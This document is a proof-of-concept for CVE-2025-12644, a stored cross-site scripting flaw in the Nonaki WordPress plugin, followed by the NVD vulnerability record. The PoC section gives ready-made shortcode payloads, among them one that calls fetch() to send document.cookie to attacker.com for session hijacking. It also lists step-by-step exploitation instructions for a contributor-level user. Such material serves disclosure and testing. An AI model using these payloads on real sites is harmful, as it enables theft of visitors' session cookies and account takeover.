CVE-2025-12644

<!-- WordPress Nonaki Plugin Stored XSS PoC --> <!-- Attacker with contributor role can inject malicious script via shortcode --> <!-- Basic XSS injection through nonaki shortcode --> [nonaki id="1" custom_field="<script>alert(document.cookie)</script>"] <!-- More sophisticated payload for session hijacking --> [nonaki id="1" field_name="<img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>'] <!-- PoC to demonstrate the vulnerability --> <!-- Steps: --> <!-- 1. Login as contributor user --> <!-- 2. Create/edit a post or page --> <!-- 3. Insert the malicious shortcode --> <!-- 4. Publish the content --> <!-- 5. When any user visits the page, the XSS will execute --> <!-- Example WordPress shortcode that triggers the vulnerability --> [nonaki id="123" title="Test" custom_data='"><script>console.log("XSS Triggered")</script><!']

{"cve": {"id": "CVE-2025-12644", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:48.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Nonaki – Drag and Drop Email Template builder and Newsletter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nonaki' shortcode in all versions up to, and including, 1.0.11. This is due to insufficient input sanitization and output escaping on user supplied custom field values that are retrieved and rendered by the shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/nonaki-email-template-customizer/tags/1.0.11/includes/helper.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/nonaki-email-template-customizer/tags/1.0.11/includes/shortcode.php#L21", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/467261ba-f41f-4e94-8941-e5b3d8392fdb?source=cve", "source": "[email protected]"}]}}